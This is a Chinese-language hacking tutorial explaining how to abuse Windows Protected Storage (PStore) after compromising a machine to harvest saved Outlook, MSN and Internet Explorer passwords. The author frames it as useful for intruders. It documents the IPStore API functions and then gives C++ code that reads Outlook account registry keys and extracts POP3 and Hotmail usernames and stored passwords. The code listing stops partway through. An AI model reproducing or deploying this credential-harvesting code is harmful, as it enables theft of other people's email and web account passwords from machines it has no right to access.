1.简介：什么是PStore？
PStore的全称为：Protected Storage。在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息，比方说：
1. Outlook 密码
2. 删除的Outlook帐号密码
3. IE 密码保存站点密码
4. MSN登陆密码
5. IE 自动保存密码
2.问题：我们拿来做什么？
我不知道微软是什么样的想法，虽然说这是一个安全的帐号管理服务，但是微软却提供了PStore接口的API函数来对它进行控制。可能他们认为能看的到的都是系统管理,但是如果我们入侵了一台机器，想要获取关于该管理员更多的隐私，这个就是一个很好的方法了。我们可以来获取该用户自动保存在缓存中的密码信息(或者有可能是他不注意一下点到了自动保存^_^...)。总而言之，对一个黑客来讲，这是个好消息。
3.详释：相关函数
要使用PStore，最初我们要用到这个函数PStoreCreateInstance，用于接收接口指针。
函数原型如下：
HRESULT PStoreCreateInstance(
IPStore** ppProvider,
//输出，用于接收接口指针
PST_PROVIDERID* pProviderID,
//指向Storege提供者的GUID，为0时为默认
void* pReserved,
//保留，必须为NULL
DWORD dwFlags
//保留，必须为0
);
该函数正确时返回S_OK，注意这个函数因为没有提供SDK，必须手动从Pstorec.dll载入。
在上面函数中的IPStore是一个基于COM的接口，它提供了一引起方法以供调用：
方法
描述
CloseItem
Closes a specified data item from protected storage.
CreateType
Creates the specified type with the specified name.
CreateSubtype
Creates the specified subtype within the specified type.
DeleteItem
Deletes the specified item from the protected storage.
DeleteSubtype
Deletes the specified item subtype from the protected storage.
DeleteType
Deletes the specified type from the protected storage.
EnumItems
Returns the interface pointer of a subtype for enumerating items in the protected storage database.
EnumSubtypes
Returns an interface for enumerating subtypes of the types currently registered in the protected database.
EnumTypes
Returns an interface for enumerating the types currently registered in the protected database.
GetInfo
Retrieves information about the storage provider.
GetProvParam
Not implemented.
GetSubtypeInfo
Retrieves information associated with a subtype.
GetTypeInfo
Retrieves information associated with a type.
OpenItem
Opens an item for multiple accesses.
ReadAccessRuleSet
Not implemented.
ReadItem
Reads the specified data item from protected storage.
SetProvParam
Sets the specified parameter information.
WriteAccessRuleset
Not implemented.
WriteItem
Writes a data item to protected storage.
这些方法里面，就我们要用的做一点说明，具体请参照MSDN：
指定枚举区域：
HRESULT EnumTypes(
PST_KEY Key,
//PST_KEY_CURRENT_USER(0)表示当前用户，PST_KEY_LOCAL_MACHINE(表示计算机);
DWORD dwFlags,
//保留，为0
IEnumPStoreTypes** ppenum
//一个接口，用来枚举类型，以后调用用的到，它有Next，Skip，Reset，Clone等方法。具体用法请看示例
);
用来获取项
HRESULT EnumItems(
PST_KEY Key, //同上
const PSGUID* pItemType, //用IEnumPStoreTypes-raw_Next方法获得。
const GUID* pItemSubtype, //调用IPStorePtr-EnumSubtypes方法获取IEnumPStoreTypesPtr接口，再通过调用IEnumPStoreTypesPtr-raw_Next获得
DWORD dwFlags, //保留，为0
IEnumPStoreItems** ppenum //真正获取项接口，以后就可以开始枚举了。
);
用来读取信息。
HRESULT ReadItem(
PST_KEY Key,
const PSGUID* pItemType,
const GUID* pItemSubtype,
LPCWSTR* szItemName,
DWORD cbData,
BYTE_RPC_FAR* pbData,
PPST_PROMPTIFO pPromptInfo,
DWORD dwFlags
);
4.动刀，开始编写代码：
代码：
#include "stdafx.h"
#include <commctrl.h
#include "resource.h"
#import "pstorec.dll" no_namespace
char SavingFname[MAX_PATH];
HWND hwndlistview;
BOOL iS9x=FALSE;
typedef struct TOOUTDATA
{
char POPuser[100];
char POPpass[100];
char POPserver[100];
}
OOUTDATA;
OOUTDATA OutlookData[50];
int oIndex=0;
void EnumOutlookAccounts()
{
ZeroMemory(OutlookData,sizeof(OutlookData));
HKEY hkeyresult ,hkeyresult1;
long l,i;
char name[200],skey[200];
DWORD dw2;
FILETIME f;
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 );
if(ERROR_SUCCESS != lResult)
return ;
i=0;
l=0;
BYTE Data[150];
BYTE Data1[150];
DWORD size;
int j;
j=0;
DWORD type=REG_BINARY;
while(l!=ERROR_NO_MORE_ITEMS)
{
dw2=200;
l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
lstrcat(skey,"\\");
lstrcat(skey,name);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data));
oIndex++;
}
else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
